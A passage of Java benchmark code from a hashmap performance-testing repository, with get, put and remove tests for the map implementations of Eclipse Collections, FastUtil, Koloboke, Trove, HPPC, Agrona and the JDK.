import org.eclipse.collections.impl.map.mutable.primitive.IntObjectHashMap;
import tests.maptests.IMapTest;
import tests.maptests.ITestSet;
/**
* GS IntObjectHashMap
*/
public class GsIntObjectMapTest implements ITestSet
{
@Override
public IMapTest getTest() {
return new GsIntObjectGetTest();
}
@Override
public IMapTest putTest() {
return new GsIntObjectPutTest();
}
@Override
public IMapTest removeTest() {
return new GsIntObjectRemoveTest();
}
private static class GsIntObjectGetTest extends AbstractPrimObjectGetTest {
private IntObjectHashMap<Integer> m_map;
@Override
public void setup(int[] keys, float fillFactor, int oneFailOutOf) {
super.setup(keys, fillFactor, oneFailOutOf );
m_map = new IntObjectHashMap<>( keys.length );
for ( int key : keys ) m_map.put( key % oneFailOutOf == 0 ? key + 1 : key, key );
}
@Override
public int test() {
int res = 0;
for ( int i = 0; i < m_keys.length; ++i )
if ( m_map.get( m_keys[ i ] ) != null ) res ^= 1;
return res;
}
}
private static class GsIntObjectPutTest extends AbstractPrimObjectPutTest {
@Override
public int test() {
final Integer value = 1;
final IntObjectHashMap<Integer> m_map = new IntObjectHashMap<>( m_keys.length );
for ( int i = 0; i < m_keys.length; ++i )
m_map.put( m_keys[ i ], value );
for ( int i = 0; i < m_keys.length; ++i )
m_map.put( m_keys[ i ], value );
return m_map.size();
}
}
private static class GsIntObjectRemoveTest extends AbstractPrimObjectPutTest {
@Override
public int test() {
final IntObjectHashMap<Integer> m_map = new IntObjectHashMap<>( m_keys.length / 2 + 1 );
final Integer value = 1;
int add = 0, remove = 0;
while ( add < m_keys.length )
{
m_map.put( m_keys[ add ], value );
++add;
m_map.put( m_keys[ add ], value );
++add;
m_map.remove( m_keys[ remove++ ] );
}
return m_map.size();
}
}
}
| {
"repo_name": "mikvor/hashmapTest",
"stars": "94",
"repo_language": "Java",
"file_name": "BaseIntIntMapTest.java",
"mime_type": "text/x-java"
} |
package tests.maptests.prim_object;
import tests.maptests.IMapTest;
/**
* Base class for primitive-to-object put tests
*/
public abstract class AbstractPrimObjectPutTest implements IMapTest {
protected int[] m_keys;
protected float m_fillFactor;
@Override
public void setup(final int[] keys, final float fillFactor, final int oneFailOutOf ) {
m_fillFactor = fillFactor;
m_keys = keys;
}
}
| {
"repo_name": "mikvor/hashmapTest",
"stars": "94",
"repo_language": "Java",
"file_name": "BaseIntIntMapTest.java",
"mime_type": "text/x-java"
} |
package tests.maptests.object_prim;
import tests.maptests.IMapTest;
/**
* Base class for object-to-primitive put tests
*/
public abstract class AbstractObjKeyPutTest implements IMapTest {
protected Integer[] m_keys;
protected Integer[] m_keys2;
protected float m_fillFactor;
@Override
public void setup(final int[] keys, final float fillFactor, final int oneFailOutOf) {
m_fillFactor = fillFactor;
m_keys = new Integer[ keys.length ];
for ( int i = 0; i < keys.length; ++i )
m_keys[ i ] = new Integer( keys[ i ] );
m_keys2 = new Integer[ keys.length ];
for ( int i = 0; i < keys.length; ++i )
m_keys2[ i ] = new Integer( keys[ i ] );
}
}
| {
"repo_name": "mikvor/hashmapTest",
"stars": "94",
"repo_language": "Java",
"file_name": "BaseIntIntMapTest.java",
"mime_type": "text/x-java"
} |
package tests.maptests.object_prim;
import it.unimi.dsi.fastutil.objects.Object2IntOpenHashMap;
import tests.maptests.IMapTest;
import tests.maptests.ITestSet;
/**
* FastUtil Object2IntOpenHashMap
*/
public class FastUtilObjectIntMapTest implements ITestSet
{
@Override
public IMapTest getTest() {
return new FastUtilObjectIntGetTest();
}
@Override
public IMapTest putTest() {
return new FastUtilObjectIntPutTest();
}
@Override
public IMapTest removeTest() {
return new FastUtilObjectIntRemoveTest();
}
private static class FastUtilObjectIntGetTest extends AbstractObjKeyGetTest {
private Object2IntOpenHashMap<Integer> m_map;
@Override
public void setup(int[] keys, float fillFactor, final int oneFailureOutOf ) {
super.setup(keys, fillFactor, oneFailureOutOf);
m_map = new Object2IntOpenHashMap<>( keys.length, fillFactor );
for ( Integer key : keys ) m_map.put( new Integer( key % oneFailureOutOf == 0 ? key + 1 : key), key.intValue() );
}
@Override
public int test() {
int res = 0;
for ( int i = 0; i < m_keys.length; ++i )
res = res ^ m_map.getInt( m_keys[ i ] );
return res;
}
}
private static class FastUtilObjectIntPutTest extends AbstractObjKeyPutTest {
@Override
public int test() {
final Object2IntOpenHashMap<Integer> m_map = new Object2IntOpenHashMap<>( m_keys.length, m_fillFactor );
for ( int i = 0; i < m_keys.length; ++i )
m_map.put( m_keys[ i ], i );
for ( int i = 0; i < m_keys2.length; ++i )
m_map.put( m_keys2[ i ], i );
return m_map.size();
}
}
private static class FastUtilObjectIntRemoveTest extends AbstractObjKeyPutTest {
@Override
public int test() {
final Object2IntOpenHashMap<Integer> m_map = new Object2IntOpenHashMap<>( m_keys.length / 2 + 1, m_fillFactor );
int add = 0, remove = 0;
while ( add < m_keys.length )
{
m_map.put( m_keys[ add ], add );
++add;
m_map.put( m_keys[ add ], add );
++add;
m_map.removeInt( m_keys[ remove++ ] );
}
return m_map.size();
}
}
}
| {
"repo_name": "mikvor/hashmapTest",
"stars": "94",
"repo_language": "Java",
"file_name": "BaseIntIntMapTest.java",
"mime_type": "text/x-java"
} |
package tests.maptests.object_prim;
import com.koloboke.collect.hash.HashConfig;
import com.koloboke.collect.map.hash.HashObjIntMap;
import com.koloboke.collect.map.hash.HashObjIntMaps;
import tests.maptests.IMapTest;
import tests.maptests.ITestSet;
/**
* Koloboke object-2-int map
*/
public class KolobokeObjectIntMapTest implements ITestSet
{
@Override
public IMapTest getTest() {
return new KolobokeObjectIntGetTest();
}
@Override
public IMapTest putTest() {
return new KolobokeObjectIntPutTest();
}
@Override
public IMapTest removeTest() {
return new KolobokeObjectIntRemoveTest();
}
private static <T> HashObjIntMap<T> makeMap(final int size, final float fillFactor )
{
return HashObjIntMaps.getDefaultFactory().withHashConfig(HashConfig.fromLoads( fillFactor/2, fillFactor, fillFactor )).
newMutableMap(size);
}
private static class KolobokeObjectIntGetTest extends AbstractObjKeyGetTest {
private HashObjIntMap<Integer> m_map;
@Override
public void setup(final int[] keys, float fillFactor, final int oneFailureOutOf ) {
super.setup( keys, fillFactor, oneFailureOutOf);
m_map = makeMap(keys.length, fillFactor);
for (Integer key : keys) m_map.put(new Integer( key % oneFailureOutOf == 0 ? key+1 : key), key.intValue());
}
@Override
public int test() {
int res = 0;
for ( int i = 0; i < m_keys.length; ++i )
res = res ^ m_map.getInt( m_keys[ i ] );
return res;
}
}
private static class KolobokeObjectIntPutTest extends AbstractObjKeyPutTest {
@Override
public int test() {
final HashObjIntMap<Integer> m_map = makeMap( m_keys.length, m_fillFactor );
for ( int i = 0; i < m_keys.length; ++i )
m_map.put( m_keys[ i ], i );
for ( int i = 0; i < m_keys2.length; ++i )
m_map.put( m_keys2[ i ], i );
return m_map.size();
}
}
private static class KolobokeObjectIntRemoveTest extends AbstractObjKeyPutTest {
@Override
public int test() {
final HashObjIntMap<Integer> m_map = makeMap( m_keys.length / 2 + 1, m_fillFactor );
int add = 0, remove = 0;
while ( add < m_keys.length )
{
m_map.put( m_keys[ add ], add );
++add;
m_map.put( m_keys[ add ], add );
++add;
m_map.removeAsInt( m_keys[ remove++ ] );
}
return m_map.size();
}
}
}
| {
"repo_name": "mikvor/hashmapTest",
"stars": "94",
"repo_language": "Java",
"file_name": "BaseIntIntMapTest.java",
"mime_type": "text/x-java"
} |
package tests.maptests.object_prim;
import gnu.trove.map.TObjectIntMap;
import gnu.trove.map.hash.TObjectIntHashMap;
import tests.maptests.IMapTest;
import tests.maptests.ITestSet;
/**
* Trove TObjectIntHashMap
*/
public class TroveObjectIntMapTest implements ITestSet
{
@Override
public IMapTest getTest() {
return new TroveObjectIntGetTest();
}
@Override
public IMapTest putTest() {
return new TroveObjectIntPutTest();
}
@Override
public IMapTest removeTest() {
return new TroveObjectIntRemoveTest();
}
private static class TroveObjectIntGetTest extends AbstractObjKeyGetTest {
private TObjectIntMap<Integer> m_map;
@Override
public void setup(int[] keys, float fillFactor, final int oneFailureOutOf ) {
super.setup(keys, fillFactor, oneFailureOutOf);
m_map = new TObjectIntHashMap<>( keys.length, fillFactor );
for ( Integer key : keys ) m_map.put( new Integer( key % oneFailureOutOf == 0 ? key+1 : key), key );
}
@Override
public int test() {
int res = 0;
for ( int i = 0; i < m_keys.length; ++i )
res = res ^ m_map.get( m_keys[ i ] );
return res;
}
}
private static class TroveObjectIntPutTest extends AbstractObjKeyPutTest {
@Override
public int test() {
final TObjectIntMap<Integer> m_map = new TObjectIntHashMap<>( m_keys.length, m_fillFactor );
for ( int i = 0; i < m_keys.length; ++i )
m_map.put( m_keys[ i ], i );
for ( int i = 0; i < m_keys2.length; ++i )
m_map.put( m_keys2[ i ], i );
return m_map.size();
}
}
private static class TroveObjectIntRemoveTest extends AbstractObjKeyPutTest {
@Override
public int test() {
final TObjectIntMap<Integer> m_map = new TObjectIntHashMap<>( m_keys.length / 2 + 1, m_fillFactor );
int add = 0, remove = 0;
while ( add < m_keys.length )
{
m_map.put( m_keys[ add ], add );
++add;
m_map.put( m_keys[ add ], add );
++add;
m_map.remove( m_keys[ remove++ ] );
}
return m_map.size();
}
}
}
| {
"repo_name": "mikvor/hashmapTest",
"stars": "94",
"repo_language": "Java",
"file_name": "BaseIntIntMapTest.java",
"mime_type": "text/x-java"
} |
package tests.maptests.object_prim;
import org.eclipse.collections.impl.map.mutable.primitive.ObjectIntHashMap;
import tests.maptests.IMapTest;
import tests.maptests.ITestSet;
/**
* GS ObjectIntHashMap
*/
public class GsObjectIntMapTest implements ITestSet
{
@Override
public IMapTest getTest() {
return new GsObjectIntGetTest();
}
@Override
public IMapTest putTest() {
return new GsObjectIntPutTest();
}
@Override
public IMapTest removeTest() {
return new GsObjectIntRemoveTest();
}
private static class GsObjectIntGetTest extends AbstractObjKeyGetTest {
private ObjectIntHashMap<Integer> m_map;
@Override
public void setup(int[] keys, float fillFactor, final int oneFailureOutOf ) {
super.setup(keys, fillFactor, oneFailureOutOf);
m_map = new ObjectIntHashMap<>( keys.length );
for ( Integer key : keys ) m_map.put( new Integer( key % oneFailureOutOf == 0 ? key + 1 : key), key );
}
@Override
public int test() {
int res = 0;
for ( int i = 0; i < m_keys.length; ++i )
res = res ^ m_map.get( m_keys[ i ] );
return res;
}
}
private static class GsObjectIntPutTest extends AbstractObjKeyPutTest {
@Override
public int test() {
final ObjectIntHashMap<Integer> m_map = new ObjectIntHashMap<>( m_keys.length );
for ( int i = 0; i < m_keys.length; ++i )
m_map.put( m_keys[ i ], i );
for ( int i = 0; i < m_keys2.length; ++i )
m_map.put( m_keys2[ i ], i );
return m_map.size();
}
}
private static class GsObjectIntRemoveTest extends AbstractObjKeyPutTest {
@Override
public int test() {
final ObjectIntHashMap<Integer> m_map = new ObjectIntHashMap<>( m_keys.length / 2 + 1 );
int add = 0, remove = 0;
while ( add < m_keys.length )
{
m_map.put( m_keys[ add ], add );
++add;
m_map.put( m_keys[ add ], add );
++add;
m_map.remove( m_keys[ remove++ ] );
}
return m_map.size();
}
}
}
| {
"repo_name": "mikvor/hashmapTest",
"stars": "94",
"repo_language": "Java",
"file_name": "BaseIntIntMapTest.java",
"mime_type": "text/x-java"
} |
package tests.maptests.object_prim;
import tests.maptests.IMapTest;
/**
* Base class for object to primitive get tests
*/
public abstract class AbstractObjKeyGetTest implements IMapTest {
protected Integer[] m_keys;
@Override
public void setup(final int[] keys, final float fillFactor, final int oneFailureOutOf ) {
m_keys = new Integer[ keys.length ];
for ( int i = 0; i < keys.length; ++i )
m_keys[ i ] = new Integer( keys[ i ] );
}
}
| {
"repo_name": "mikvor/hashmapTest",
"stars": "94",
"repo_language": "Java",
"file_name": "BaseIntIntMapTest.java",
"mime_type": "text/x-java"
} |
package tests.maptests.object_prim;
import org.agrona.collections.Object2IntHashMap;
import tests.maptests.IMapTest;
import tests.maptests.ITestSet;
/**
* Agrona Object2IntHashMap test
*/
public class AgronaObjectIntMapTest implements ITestSet
{
private static final int MISSING_VALUE = Integer.MIN_VALUE;
@Override
public IMapTest getTest() {
return new AgronaObjectIntGetTest();
}
@Override
public IMapTest putTest() {
return new AgronaObjectIntPutTest();
}
@Override
public IMapTest removeTest() {
return new AgronaObjectIntRemoveTest();
}
private static class AgronaObjectIntGetTest extends AbstractObjKeyGetTest {
private Object2IntHashMap<Integer> m_map;
@Override
public void setup(int[] keys, float fillFactor, final int oneFailureOutOf ) {
super.setup(keys, fillFactor, oneFailureOutOf);
m_map = new Object2IntHashMap<>( keys.length, fillFactor, MISSING_VALUE);
for ( Integer key : keys ) m_map.put( new Integer( key % oneFailureOutOf == 0 ? key+1 : key), key );
}
@Override
public int test() {
int res = 0;
for ( int i = 0; i < m_keys.length; ++i )
res = res ^ m_map.getValue( m_keys[ i ] ); // need getValue() here because get() returns null for non-existing keys
return res;
}
}
private static class AgronaObjectIntPutTest extends AbstractObjKeyPutTest {
@Override
public int test() {
final Object2IntHashMap<Integer> m_map = new Object2IntHashMap<>( m_keys.length, m_fillFactor, MISSING_VALUE );
for ( int i = 0; i < m_keys.length; ++i )
m_map.put( m_keys[ i ], i );
for ( int i = 0; i < m_keys2.length; ++i )
m_map.put( m_keys2[ i ], i );
return m_map.size();
}
}
private static class AgronaObjectIntRemoveTest extends AbstractObjKeyPutTest {
@Override
public int test() {
final Object2IntHashMap<Integer> m_map = new Object2IntHashMap<>( m_keys.length / 2 + 1, m_fillFactor, MISSING_VALUE );
int add = 0, remove = 0;
while ( add < m_keys.length )
{
m_map.put( m_keys[ add ], add );
++add;
m_map.put( m_keys[ add ], add );
++add;
m_map.remove( m_keys[ remove++ ] );
}
return m_map.size();
}
}
}
| {
"repo_name": "mikvor/hashmapTest",
"stars": "94",
"repo_language": "Java",
"file_name": "BaseIntIntMapTest.java",
"mime_type": "text/x-java"
} |
package tests.maptests.object_prim;
import com.carrotsearch.hppc.ObjectIntHashMap;
import tests.maptests.IMapTest;
import tests.maptests.ITestSet;
/**
* HPPC ObjectIntHashMap
*/
public class HppcObjectIntMapTest implements ITestSet
{
@Override
public IMapTest getTest() {
return new HppcObjectIntGetTest();
}
@Override
public IMapTest putTest() {
return new HppcObjectIntPutTest();
}
@Override
public IMapTest removeTest() {
return new HppcObjectIntRemoveTest();
}
private static class HppcObjectIntGetTest extends AbstractObjKeyGetTest {
private ObjectIntHashMap<Integer> m_map;
@Override
public void setup(int[] keys, float fillFactor, final int oneFailureOutOf ) {
super.setup(keys, fillFactor, oneFailureOutOf);
m_map = new ObjectIntHashMap<>( keys.length, fillFactor );
for ( Integer key : keys ) m_map.put( new Integer( key % oneFailureOutOf == 0 ? key+1 : key), key );
}
@Override
public int test() {
int res = 0;
for ( int i = 0; i < m_keys.length; ++i )
res = res ^ m_map.get( m_keys[ i ] );
return res;
}
}
private static class HppcObjectIntPutTest extends AbstractObjKeyPutTest {
@Override
public int test() {
final ObjectIntHashMap<Integer> m_map = new ObjectIntHashMap<>( m_keys.length, m_fillFactor );
for ( int i = 0; i < m_keys.length; ++i )
m_map.put( m_keys[ i ], i );
for ( int i = 0; i < m_keys2.length; ++i )
m_map.put( m_keys2[ i ], i );
return m_map.size();
}
}
private static class HppcObjectIntRemoveTest extends AbstractObjKeyPutTest {
@Override
public int test() {
final ObjectIntHashMap<Integer> m_map = new ObjectIntHashMap<>( m_keys.length / 2 + 1, m_fillFactor );
int add = 0, remove = 0;
while ( add < m_keys.length )
{
m_map.put( m_keys[ add ], add );
++add;
m_map.put( m_keys[ add ], add );
++add;
m_map.remove( m_keys[ remove++ ] );
}
return m_map.size();
}
}
}
| {
"repo_name": "mikvor/hashmapTest",
"stars": "94",
"repo_language": "Java",
"file_name": "BaseIntIntMapTest.java",
"mime_type": "text/x-java"
} |
package tests.maptests.object;
import com.koloboke.collect.StatelessEquivalence;
public final class HashCodeMixingEquivalence extends StatelessEquivalence {
public static final HashCodeMixingEquivalence INSTANCE = new HashCodeMixingEquivalence();
// copied from net.openhft.koloboke.impl.hash.LHash
private static final int INT_PHI_MAGIC = -1640531527;
private HashCodeMixingEquivalence() {}
@Override
public boolean equivalent(Object o1, Object o2) {
return o1.equals(o2);
}
@Override
public int hash(Object obj) {
return obj.hashCode() * INT_PHI_MAGIC;
}
}
| {
"repo_name": "mikvor/hashmapTest",
"stars": "94",
"repo_language": "Java",
"file_name": "BaseIntIntMapTest.java",
"mime_type": "text/x-java"
} |
package tests.maptests.object;
import org.agrona.collections.Object2ObjectHashMap;
import tests.maptests.IMapTest;
import tests.maptests.ITestSet;
import tests.maptests.object_prim.AbstractObjKeyGetTest;
import tests.maptests.object_prim.AbstractObjKeyPutTest;
/**
* Agrona Object2ObjectHashMap test
*/
public class AgronaObjMapTest implements ITestSet
{
@Override
public IMapTest getTest() {
return new AgronaObjMapGetTest();
}
@Override
public IMapTest putTest() {
return new AgronaObjMapPutTest();
}
@Override
public IMapTest removeTest() {
return new AgronaObjMapRemoveTest();
}
private static class AgronaObjMapGetTest extends AbstractObjKeyGetTest {
private Object2ObjectHashMap<Integer, Integer> m_map;
@Override
public void setup(final int[] keys, final float fillFactor, final int oneFailureOutOf ) {
super.setup( keys, fillFactor, oneFailureOutOf );
m_map = new Object2ObjectHashMap<>( keys.length, fillFactor );
for (Integer key : m_keys)
m_map.put(new Integer( key % oneFailureOutOf == 0 ? key + 1 : key ), key);
}
@Override
public int test() {
int res = 0;
for ( int i = 0; i < m_keys.length; ++i )
if ( m_map.get( m_keys[ i ] ) != null ) res ^= 1;
return res;
}
}
private static class AgronaObjMapPutTest extends AbstractObjKeyPutTest {
@Override
public int test() {
final Object2ObjectHashMap<Integer, Integer> m_map = new Object2ObjectHashMap<>( m_keys.length, m_fillFactor );
for ( int i = 0; i < m_keys.length; ++i )
m_map.put( m_keys[ i ], m_keys[ i ] );
for ( int i = 0; i < m_keys2.length; ++i )
m_map.put( m_keys2[ i ], m_keys2[ i ] );
return m_map.size();
}
}
private static class AgronaObjMapRemoveTest extends AbstractObjKeyPutTest {
@Override
public int test() {
final Object2ObjectHashMap<Integer, Integer> m_map = new Object2ObjectHashMap<>( m_keys.length / 2 + 1, m_fillFactor );
int add = 0, remove = 0;
while ( add < m_keys.length )
{
m_map.put( m_keys[ add ], m_keys[ add ] );
++add;
m_map.put( m_keys[ add ], m_keys[ add ] );
++add;
m_map.remove( m_keys2[ remove++ ] );
}
return m_map.size();
}
}
}
| {
"repo_name": "mikvor/hashmapTest",
"stars": "94",
"repo_language": "Java",
"file_name": "BaseIntIntMapTest.java",
"mime_type": "text/x-java"
} |
package tests.maptests.object;
import com.koloboke.collect.hash.HashConfig;
import com.koloboke.collect.map.hash.HashObjObjMaps;
import tests.maptests.IMapTest;
import tests.maptests.ITestSet;
import tests.maptests.object_prim.AbstractObjKeyGetTest;
import tests.maptests.object_prim.AbstractObjKeyPutTest;
import java.util.Map;
/**
* Koloboke mutable object map test
*/
public class KolobokeMutableObjTest implements ITestSet
{
@Override
public IMapTest getTest() {
return new KolobokeMutableObjGetTest();
}
@Override
public IMapTest putTest() {
return new KolobokeMutableObjPutTest();
}
@Override
public IMapTest removeTest() {
return new KolobokeMutableObjRemoveTest();
}
protected <T, V> Map<T, V> makeMap( final int size, final float fillFactor )
{
return HashObjObjMaps.getDefaultFactory().
withHashConfig(HashConfig.fromLoads(fillFactor/2, fillFactor, fillFactor)).newMutableMap(size);
}
//made not static due to NotNullKeys subclass. If that test is removed, we need to rollback to static classes here
private class KolobokeMutableObjGetTest extends AbstractObjKeyGetTest {
private Map<Integer, Integer> m_map;
@Override
public void setup(final int[] keys, final float fillFactor, final int oneFailureOutOf ) {
super.setup( keys, fillFactor, oneFailureOutOf );
m_map = makeMap( keys.length, fillFactor );
for (Integer key : m_keys)
m_map.put(new Integer( key % oneFailureOutOf == 0 ? key + 1 : key ), key);
}
@Override
public int test() {
int res = 0;
for (int i = 0; i < m_keys.length; ++i)
if ( m_map.get( m_keys[ i ] ) != null ) res ^= 1;
return res;
}
}
private class KolobokeMutableObjPutTest extends AbstractObjKeyPutTest {
@Override
public int test() {
final Map<Integer, Integer> m_map = makeMap(m_keys.length, m_fillFactor);
for (int i = 0; i < m_keys.length; ++i)
m_map.put(m_keys[i],m_keys[i]);
for (int i = 0; i < m_keys2.length; ++i)
m_map.put(m_keys2[i],m_keys2[i]);
return m_map.size();
}
}
private class KolobokeMutableObjRemoveTest extends AbstractObjKeyPutTest {
@Override
public int test() {
final Map<Integer, Integer> m_map = makeMap(m_keys.length / 2 + 1, m_fillFactor);
int add = 0, remove = 0;
while ( add < m_keys.length )
{
m_map.put( m_keys[ add ], m_keys[ add ] );
++add;
m_map.put( m_keys[ add ], m_keys[ add ] );
++add;
m_map.remove( m_keys2[ remove++ ] );
}
return m_map.size();
}
}
}
| {
"repo_name": "mikvor/hashmapTest",
"stars": "94",
"repo_language": "Java",
"file_name": "BaseIntIntMapTest.java",
"mime_type": "text/x-java"
} |
package tests.maptests.object;
import it.unimi.dsi.fastutil.objects.Object2ObjectOpenHashMap;
import tests.maptests.IMapTest;
import tests.maptests.ITestSet;
import tests.maptests.object_prim.AbstractObjKeyGetTest;
import tests.maptests.object_prim.AbstractObjKeyPutTest;
import java.util.Map;
/**
* FastUtil Object2ObjectOpenHashMap test
*/
public class FastUtilObjMapTest implements ITestSet
{
@Override
public IMapTest getTest() {
return new FastUtilObjGetTest();
}
@Override
public IMapTest putTest() {
return new FastUtilObjPutTest();
}
@Override
public IMapTest removeTest() {
return new FastUtilObjRemoveTest();
}
private static class FastUtilObjGetTest extends AbstractObjKeyGetTest {
private Map<Integer, Integer> m_map;
@Override
public void setup(final int[] keys, final float fillFactor, final int oneFailureOutOf ) {
super.setup( keys, fillFactor, oneFailureOutOf );
m_map = new Object2ObjectOpenHashMap<>( m_keys.length, fillFactor );
for (Integer key : m_keys) m_map.put(new Integer( key % oneFailureOutOf == 0 ? key + 1 : key ), key);
}
@Override
public int test() {
int res = 0;
for ( int i = 0; i < m_keys.length; ++i )
if ( m_map.get( m_keys[ i ] ) != null ) res ^= 1;
return res;
}
}
private static class FastUtilObjPutTest extends AbstractObjKeyPutTest {
@Override
public int test() {
final Map<Integer, Integer> m_map = new Object2ObjectOpenHashMap<>( m_keys.length, m_fillFactor );
for ( int i = 0; i < m_keys.length; ++i )
m_map.put( m_keys[ i ], m_keys[ i ] );
for ( int i = 0; i < m_keys2.length; ++i )
m_map.put( m_keys2[ i ], m_keys2[ i ] );
return m_map.size();
}
}
private static class FastUtilObjRemoveTest extends AbstractObjKeyPutTest {
@Override
public int test() {
final Map<Integer, Integer> m_map = new Object2ObjectOpenHashMap<>( m_keys.length / 2 + 1, m_fillFactor );
int add = 0, remove = 0;
while ( add < m_keys.length )
{
m_map.put( m_keys[ add ], m_keys[ add ] );
++add;
m_map.put( m_keys[ add ], m_keys[ add ] );
++add;
m_map.remove( m_keys2[ remove++ ] );
}
return m_map.size();
}
}
}
| {
"repo_name": "mikvor/hashmapTest",
"stars": "94",
"repo_language": "Java",
"file_name": "BaseIntIntMapTest.java",
"mime_type": "text/x-java"
} |
package tests.maptests.object;
import com.carrotsearch.hppc.ObjectObjectMap;
import com.carrotsearch.hppc.ObjectObjectHashMap;
import tests.maptests.IMapTest;
import tests.maptests.ITestSet;
import tests.maptests.object_prim.AbstractObjKeyGetTest;
import tests.maptests.object_prim.AbstractObjKeyPutTest;
/**
* HPPC ObjectObjectHashMap test
*/
public class HppcObjMapTest implements ITestSet
{
@Override
public IMapTest getTest() {
return new HppcObjMapGetTest();
}
@Override
public IMapTest putTest() {
return new HppcObjMapPutTest();
}
@Override
public IMapTest removeTest() {
return new HppcObjMapRemoveTest();
}
private static class HppcObjMapGetTest extends AbstractObjKeyGetTest {
private ObjectObjectMap<Integer, Integer> m_map;
@Override
public void setup(final int[] keys, final float fillFactor, final int oneFailureOutOf ) {
super.setup( keys, fillFactor, oneFailureOutOf );
m_map = new ObjectObjectHashMap<>( keys.length, fillFactor );
for (Integer key : m_keys)
m_map.put(new Integer( key % oneFailureOutOf == 0 ? key + 1 : key ), key);
}
@Override
public int test() {
int res = 0;
for ( int i = 0; i < m_keys.length; ++i )
if ( m_map.get( m_keys[ i ] ) != null ) res ^= 1;
return res;
}
}
private static class HppcObjMapPutTest extends AbstractObjKeyPutTest {
@Override
public int test() {
final ObjectObjectMap<Integer, Integer> m_map = new ObjectObjectHashMap<>( m_keys.length, m_fillFactor );
for ( int i = 0; i < m_keys.length; ++i )
m_map.put( m_keys[ i ], m_keys[ i ] );
for ( int i = 0; i < m_keys2.length; ++i )
m_map.put( m_keys2[ i ], m_keys2[ i ] );
return m_map.size();
}
}
private static class HppcObjMapRemoveTest extends AbstractObjKeyPutTest {
@Override
public int test() {
final ObjectObjectMap<Integer, Integer> m_map = new ObjectObjectHashMap<>( m_keys.length / 2 + 1, m_fillFactor );
int add = 0, remove = 0;
while ( add < m_keys.length )
{
m_map.put( m_keys[ add ], m_keys[ add ] );
++add;
m_map.put( m_keys[ add ], m_keys[ add ] );
++add;
m_map.remove( m_keys2[ remove++ ] );
}
return m_map.size();
}
}
}
| {
"repo_name": "mikvor/hashmapTest",
"stars": "94",
"repo_language": "Java",
"file_name": "BaseIntIntMapTest.java",
"mime_type": "text/x-java"
} |
package tests.maptests.object;
import com.koloboke.collect.hash.HashConfig;
import com.koloboke.collect.map.hash.HashObjObjMaps;
import java.util.Map;
/**
* Koloboke Obj map mixing keys' hash codes
*
* BEFORE REMOVAL MAKE INNER CLASSES STATIC IN THE PARENT CLASS!!!
*/
public class KolobokeHashCodeMixingObjTest extends KolobokeMutableObjTest {
protected <T, V> Map<T, V> makeMap( final int size, final float fillFactor )
{
return HashObjObjMaps.getDefaultFactory()
.withHashConfig(HashConfig.fromLoads(fillFactor / 2, fillFactor, fillFactor))
.withKeyEquivalence(HashCodeMixingEquivalence.INSTANCE)
.newMutableMap(size);
}
}
| {
"repo_name": "mikvor/hashmapTest",
"stars": "94",
"repo_language": "Java",
"file_name": "BaseIntIntMapTest.java",
"mime_type": "text/x-java"
} |
package tests.maptests.object;
import tests.maptests.IMapTest;
import tests.maptests.ITestSet;
import tests.maptests.object_prim.AbstractObjKeyGetTest;
import tests.maptests.object_prim.AbstractObjKeyPutTest;
import java.util.HashMap;
import java.util.Map;
/**
* JDK Map<Integer, Integer> tests
*/
public class JdkMapTest implements ITestSet
{
@Override
public IMapTest getTest() {
return new JdkMapGetTest();
}
@Override
public IMapTest putTest() {
return new JdkMapPutTest();
}
@Override
public IMapTest removeTest() {
return new JdkMapRemoveTest();
}
protected <T, V> Map<T, V> makeMap( final int size, final float fillFactor )
{
return new HashMap<>( size, fillFactor );
}
//classes are non static due to a subclass presence
private class JdkMapGetTest extends AbstractObjKeyGetTest {
private Map<Integer, Integer> m_map;
@Override
public void setup(final int[] keys, final float fillFactor, final int oneFailureOutOf ) {
super.setup( keys, fillFactor, oneFailureOutOf );
m_map = makeMap( keys.length, fillFactor );
for (Integer key : m_keys)
m_map.put(new Integer( key % oneFailureOutOf == 0 ? key + 1 : key ), key);
}
@Override
public int test() {
int res = 0;
for ( int i = 0; i < m_keys.length; ++i )
if ( m_map.get( m_keys[ i ] ) != null ) res ^= 1;
return res;
}
}
private class JdkMapPutTest extends AbstractObjKeyPutTest {
@Override
public int test() {
final Map<Integer, Integer> map = makeMap( m_keys.length, m_fillFactor );
for ( int i = 0; i < m_keys.length; ++i )
map.put( m_keys[ i ], m_keys[ i ] );
for ( int i = 0; i < m_keys2.length; ++i )
map.put( m_keys2[ i ], m_keys2[ i ] );
return map.size();
}
}
private class JdkMapRemoveTest extends AbstractObjKeyPutTest {
@Override
public int test() {
final Map<Integer, Integer> map = makeMap( m_keys.length / 2 + 1, m_fillFactor );
int add = 0, remove = 0;
while ( add < m_keys.length )
{
map.put( m_keys[ add ], m_keys[ add ] );
++add;
map.put( m_keys[ add ], m_keys[ add ] );
++add;
map.remove( m_keys2[ remove++ ] );
}
return map.size();
}
}
}
| {
"repo_name": "mikvor/hashmapTest",
"stars": "94",
"repo_language": "Java",
"file_name": "BaseIntIntMapTest.java",
"mime_type": "text/x-java"
} |
package tests.maptests.object;
import java.util.HashMap;
import java.util.Map;
/**
* JDK HashMap with the capacity ensuring there is enough space.
* REVERT PARENT CLASS TO STATIC CLASSES IF THIS TEST IS REMOVED!
*/
public class JdkMapTestDifferentCapacity extends JdkMapTest {
protected <T, V> Map<T, V> makeMap( final int size, final float fillFactor )
{
return new HashMap<>( (int) (size / fillFactor + 1), fillFactor );
}
}
| {
"repo_name": "mikvor/hashmapTest",
"stars": "94",
"repo_language": "Java",
"file_name": "BaseIntIntMapTest.java",
"mime_type": "text/x-java"
} |
package tests.maptests.object;
import com.koloboke.collect.hash.HashConfig;
import com.koloboke.collect.map.hash.HashObjObjMaps;
import java.util.Map;
/**
* Koloboke Obj map specified it does not want to support null keys
*
* BEFORE REMOVAL MAKE INNER CLASSES STATIC IN THE PARENT CLASS!!!
*/
public class KolobokeNotNullKeyObjTest extends KolobokeMutableObjTest {
protected <T, V> Map<T, V> makeMap( final int size, final float fillFactor )
{
return HashObjObjMaps.getDefaultFactory().withNullKeyAllowed(false).
withHashConfig(HashConfig.fromLoads(fillFactor/2, fillFactor, fillFactor)).newMutableMap(size);
}
}
| {
"repo_name": "mikvor/hashmapTest",
"stars": "94",
"repo_language": "Java",
"file_name": "BaseIntIntMapTest.java",
"mime_type": "text/x-java"
} |
package tests.maptests.object;
import gnu.trove.map.hash.THashMap;
import tests.maptests.IMapTest;
import tests.maptests.ITestSet;
import tests.maptests.object_prim.AbstractObjKeyGetTest;
import tests.maptests.object_prim.AbstractObjKeyPutTest;
import java.util.Map;
/**
* Trove THashMap<Integer, Integer> test
*/
public class TroveObjMapTest implements ITestSet
{
@Override
